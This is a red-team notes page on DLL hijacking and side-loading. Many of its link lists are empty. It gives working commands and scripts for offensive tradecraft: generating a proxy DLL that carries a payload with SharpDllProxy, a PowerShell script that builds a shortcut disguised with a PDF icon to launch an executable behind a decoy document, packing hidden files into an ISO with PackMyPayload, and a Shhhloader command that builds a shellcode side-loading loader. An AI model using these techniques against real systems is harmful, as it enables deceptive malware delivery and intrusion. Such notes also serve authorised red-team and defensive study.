> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/red-team/dev/dll-hijacking.md).
# DLL Hijacking
*
*
*
*
*
*
*
*
*
*
{% embed url="" %}
Print debug output from a DLL to a file:
```c
#ifdef _DEBUG
#include
#include
#define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#define DPRINT(...) { \
fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \
fprintf(stderr, __VA_ARGS__); \
}
#else
#define DPRINT(...)
#endif
```
Print debug output from a DLL to dbgview:
```c
char buffer[256];
wsprintfA(buffer, "Hex: 0x%X, String: %s\n", 0x1234, "test");
OutputDebugStringA(buffer);
```
## DLL Side-Loading with ISO Packing
*
*
*
Generate a proxy DLL with [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy):
```
Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update
Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll
```
Create an exec link (also [here](https://gist.github.com/mttaggart/eb2ba020b8816cfe3da4cfd835240b7d)):
```powershell
$obj = New-object -ComObject wscript.shell
$link = $obj.createshortcut("C:\Tools\PackMyPayload\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # PDF ico
$link.arguments = "/c start update.exe & ""%ProgramFiles(x86)%/Microsoft/Edge/Application/msedge.exe"" %cd%/fake.pdf"
$link.save()
```
Pack all the files into an ISO with [PackMyPayload](https://github.com/mgeeky/PackMyPayload):
```
PS > python .\PackMyPayload.py .\out\ .\out\a.iso --out-format iso --hide OneDriveStandaloneUpdater.exe,vresion.dll,version.dll,fake.pdf
```
## Unlock DllMain
*
*
*
*
## CVE-2025-24076, CVE-2025-24994
*
### DLL Proxying
*
*
*
*
*
### Shhhloader
*
```
$ ./Shhhloader.py -p RuntimeBroker.exe -d -dp vresion.dll -o version.dll -s domain -sa megacorp.local shellcode.bin
```
### DLL ForwardSideloading
*
*